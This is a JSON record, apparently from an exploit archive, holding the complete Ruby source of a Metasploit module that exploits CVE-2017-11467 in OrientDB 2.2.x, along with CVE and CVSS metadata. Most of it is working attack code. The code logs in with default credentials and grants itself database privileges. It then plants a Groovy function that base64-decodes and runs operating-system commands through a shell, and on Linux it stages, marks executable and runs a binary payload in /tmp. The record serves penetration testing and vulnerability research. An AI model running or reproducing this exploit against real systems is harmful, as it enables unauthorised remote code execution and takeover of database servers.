{"exploit":{"id":"MSF-multi--http--orientdb_exec","name":"OrientDB 2.2.x Remote Code Execution","description":"This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands. All versions from 2.2.2 up to 2.2.22 should be vulnerable.","cves":["CVE-2017-11467"],"author":"Francis Alexander - Beyond Security's SecuriTeam Secure Disclosure program, Ricardo Jorge Borges de Almeida ricardojba1","published":"2017-07-13","platform":"Linux,Unix,Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/9e02ac35d81e745446e23f3b552dce2eea215a8a/modules/exploits/multi/http/orientdb_exec.rb","path":"modules/exploits/multi/http/orientdb_exec.rb","revision":"9e02ac35d81e745446e23f3b552dce2eea215a8a","filename":"orientdb_exec.rb","vulnerabilities":[{"id":"CVE-2017-11467","state":"PUBLISHED","title":null,"titleSource":null,"description":"OrientDB through 2.2.22 does not enforce privilege requirements during \"where\" or \"fetchplan\" or \"order by\" use, which allows remote attackers to execute arbitrary OS commands via a crafted request.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-11467","cvss":{"version":"3.0","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-11467"},"updatedAt":"2024-08-05T18:12:39.696Z","retrievedAt":"2026-11-26T18:29:13.366Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--orientdb_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--orientdb_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--orientdb_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--orientdb_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = GoodRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::CmdStager\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'OrientDB 2.2.x Remote Code Execution',\n        'Description' => %q{\n          This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.\n          All versions from 2.2.2 up to 2.2.22 should be vulnerable.\n        },\n        'Author' => [\n          'Francis Alexander - Beyond Security\\'s SecuriTeam Secure Disclosure program', # Public PoC\n          'Ricardo Jorge Borges de Almeida ricardojba1[at]gmail.com', # Metasploit Module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2017-11467'],\n          ['URL', 'https://blogs.securiteam.com/index.php/archives/3318'],\n          ['URL', 'http://www.palada.net/index.php/2017/07/13/news-2112/'],\n          ['URL', 'https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017'],\n          ['ATT&CK', Mitre::Attack::Technique::T1021_REMOTE_SERVICES]\n        ],\n        'Privileged' => false,\n        'Targets' => [\n          ['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }],\n          ['Unix CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => { 'BadChars' => \"\\x22\" } }],\n          ['Windows', { 'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => ['vbs', 'certutil'] }]\n        ],\n        'DisclosureDate' => '2017-07-13',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(2480),\n        OptString.new('USERNAME', [ true, 'HTTP Basic Auth User', 'writer' ]),\n        OptString.new('PASSWORD', [ true, 'HTTP Basic Auth Password', 'writer' ]),\n        OptString.new('TARGETURI', [ true, 'The path to the OrientDB application', '/' ])\n      ]\n    )\n\n    self.needs_cleanup = true\n  end\n\n  def check\n    uri = target_uri\n    uri.path = normalize_uri(uri.path)\n    res = send_request_raw({ 'uri' => \"#{uri.path}listDatabases\" })\n    return Exploit::CheckCode::Unknown('No response received from the target') unless res\n\n    if res.code == 200 and res.headers['Server'] =~ /OrientDB Server v\\.2\\.2\\./\n      print_good(\"Version: #{res.headers['Server']}\")\n      return Exploit::CheckCode::Appears('OrientDB 2.2.x detected via Server header')\n    else\n      print_status(\"Version: #{res.headers['Server']}\")\n      return Exploit::CheckCode::Safe('The target is not running a vulnerable version')\n    end\n  end\n\n  def http_send_command(cmd, opts = {})\n    # 1 -Create the malicious function\n    func_name = Rex::Text.rand_text_alpha(5).downcase\n    request_parameters = {\n      'method' => 'POST',\n      'uri' => normalize_uri(@uri.path, \"/document/#{opts}/-1:-1\"),\n      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),\n      'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },\n      'data' => \"{\\\"@class\\\":\\\"ofunction\\\",\\\"@version\\\":0,\\\"@rid\\\":\\\"#-1:-1\\\",\\\"idempotent\\\":null,\\\"name\\\":\\\"#{func_name}\\\",\\\"language\\\":\\\"groovy\\\",\\\"code\\\":\\\"#{java_craft_runtime_exec(cmd)}\\\",\\\"parameters\\\":null}\"\n    }\n    res = send_request_raw(request_parameters)\n    if !(res and res.code == 201)\n      begin\n        json_body = JSON.parse(res.body)\n      rescue JSON::ParserError\n        fail_with(Failure::Unknown, 'Failed to create the malicious function.')\n        return\n      end\n    end\n    # 2 - Trigger the malicious function\n    request_parameters = {\n      'method' => 'POST',\n      'uri' => normalize_uri(@uri.path, \"/function/#{opts}/#{func_name}\"),\n      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),\n      'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },\n      'data' => ''\n    }\n    req = send_request_raw(request_parameters)\n    if !(req and req.code == 200)\n      begin\n        json_body = JSON.parse(res.body)\n      rescue JSON::ParserError\n        fail_with(Failure::Unknown, 'Failed to trigger the malicious function.')\n        return\n      end\n    end\n    # 3 - Get the malicious function id\n    if res && res.body.length > 0\n      begin\n        json_body = JSON.parse(res.body)['@rid']\n      rescue JSON::ParserError\n        fail_with(Failure::Unknown, 'Failed to obtain the malicious function id for deletion.')\n        return\n      end\n    end\n    func_id = json_body.slice(1..-1)\n    # 4 - Delete the malicious function\n    request_parameters = {\n      'method' => 'DELETE',\n      'uri' => normalize_uri(@uri.path, \"/document/#{opts}/#{func_id}\"),\n      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),\n      'headers' => { 'Accept' => '*/*' },\n      'data' => ''\n    }\n    rer = send_request_raw(request_parameters)\n    if !(rer and rer.code == 204)\n      begin\n        JSON.parse(res.body)\n      rescue JSON::ParserError\n        fail_with(Failure::Unknown, 'Failed to delete the malicious function.')\n        return\n      end\n    end\n  end\n\n  def java_craft_runtime_exec(cmd)\n    decoder = Rex::Text.rand_text_alpha(5, 8)\n    decoded_bytes = Rex::Text.rand_text_alpha(5, 8)\n    cmd_array = Rex::Text.rand_text_alpha(5, 8)\n    jcode = \"sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\\n\"\n    jcode << \"byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\\\"#{Rex::Text.encode_base64(cmd)}\\\");\\n\"\n    jcode << \"String [] #{cmd_array} = new String[3];\\n\"\n    if target['Platform'] == 'win'\n      jcode << \"#{cmd_array}[0] = \\\"cmd.exe\\\";\\n\"\n      jcode << \"#{cmd_array}[1] = \\\"/c\\\";\\n\"\n    else\n      jcode << \"#{cmd_array}[0] = \\\"/bin/sh\\\";\\n\"\n      jcode << \"#{cmd_array}[1] = \\\"-c\\\";\\n\"\n    end\n    jcode << \"#{cmd_array}[2] = new String(#{decoded_bytes}, \\\"UTF-8\\\");\\n\"\n    jcode << \"Runtime.getRuntime().exec(#{cmd_array});\\n\"\n    jcode\n  end\n\n  def on_new_session(_client)\n    if !@to_delete.nil?\n      print_warning(\"Deleting #{@to_delete} payload file\")\n      execute_command(\"rm #{@to_delete}\")\n    end\n  end\n\n  def execute_command(cmd, _opts = {})\n    vprint_status(\"Attempting to execute: #{cmd}\")\n    @uri = target_uri\n    @uri.path = normalize_uri(@uri.path)\n    res = send_request_raw({ 'uri' => \"#{@uri.path}listDatabases\" })\n    if res && res.code == 200 && res.body.length > 0\n      begin\n        json_body = JSON.parse(res.body)['databases']\n      rescue JSON::ParserError\n        print_error('Unable to parse JSON')\n        return\n      end\n    else\n      print_error('Timeout or unexpected response...')\n      return\n    end\n    targetdb = json_body[0]\n    http_send_command(cmd, targetdb)\n  end\n\n  def linux_stager\n    cmds = 'echo LINE | tee FILE'\n    exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)\n    base64 = Rex::Text.encode_base64(exe)\n    base64.gsub!(/=/, '\\\\u003d')\n    file = rand_text_alphanumeric(rand(4..7))\n    execute_command(\"touch /tmp/#{file}.b64\")\n    cmds.gsub!(/FILE/, '/tmp/' + file + '.b64')\n    base64.each_line do |line|\n      line.chomp!\n      cmd = cmds\n      cmd.gsub!(/LINE/, line)\n      execute_command(cmds)\n    end\n    execute_command(\"base64 -d /tmp/#{file}.b64|tee /tmp/#{file}\")\n    execute_command(\"chmod +x /tmp/#{file}\")\n    execute_command(\"rm /tmp/#{file}.b64\")\n    execute_command(\"/tmp/#{file}\")\n    @to_delete = \"/tmp/#{file}\"\n  end\n\n  def exploit\n    @uri = target_uri\n    @uri.path = normalize_uri(@uri.path)\n    res = send_request_raw({ 'uri' => \"#{@uri.path}listDatabases\" })\n    if res && res.code == 200 && res.body.length > 0\n      begin\n        json_body = JSON.parse(res.body)['databases']\n      rescue JSON::ParserError\n        print_error('Unable to parse JSON')\n        return\n      end\n    else\n      print_error('Timeout or unexpected response...')\n      return\n    end\n    targetdb = json_body[0]\n    privs_enable = ['create', 'read', 'update', 'execute', 'delete']\n    items = ['database.class.ouser', 'database.function', 'database.systemclusters']\n    # Set the required DB permissions\n    privs_enable.each do |priv|\n      items.each do |item|\n        request_parameters = {\n          'method' => 'POST',\n          'uri' => normalize_uri(@uri.path, \"/command/#{targetdb}/sql/-/20\"),\n          'vars_get' => { 'format' => 'rid,type,version,class,graph' },\n          'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),\n          'headers' => { 'Accept' => '*/*' },\n          'data' => \"GRANT #{priv} ON #{item} TO writer\"\n        }\n        res = send_request_raw(request_parameters)\n      end\n    end\n    # Exploit\n    case target['Platform']\n    when 'win'\n      print_status(\"#{Rex::Socket.to_authority(rhost, rport)} - Sending command stager...\")\n      execute_cmdstager(flavor: :vbs)\n    when 'unix'\n      print_status(\"#{Rex::Socket.to_authority(rhost, rport)} - Sending payload...\")\n      res = http_send_command(\"#{payload.encoded}\", \"#{targetdb}\")\n    when 'linux'\n      print_status(\"#{Rex::Socket.to_authority(rhost, rport)} - Sending Linux stager...\")\n      linux_stager\n    end\n    handler\n    # Final Cleanup\n    privs_enable.each do |priv|\n      items.each do |item|\n        request_parameters = {\n          'method' => 'POST',\n          'uri' => normalize_uri(@uri.path, \"/command/#{targetdb}/sql/-/20\"),\n          'vars_get' => { 'format' => 'rid,type,version,class,graph' },\n          'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),\n          'headers' => { 'Accept' => '*/*' },\n          'data' => \"REVOKE #{priv} ON #{item} FROM writer\"\n        }\n        res = send_request_raw(request_parameters)\n      end\n    end\n  end\nend\n","sha256":"5c00ad0f7816736514579a9503191990347aafc6a3c57d76a0bd2f7d06f2268f","bytes":9952,"fetchedAt":"2026-11-26T18:29:07.122Z","encoding":"utf-8 (display only; download retains original bytes)"}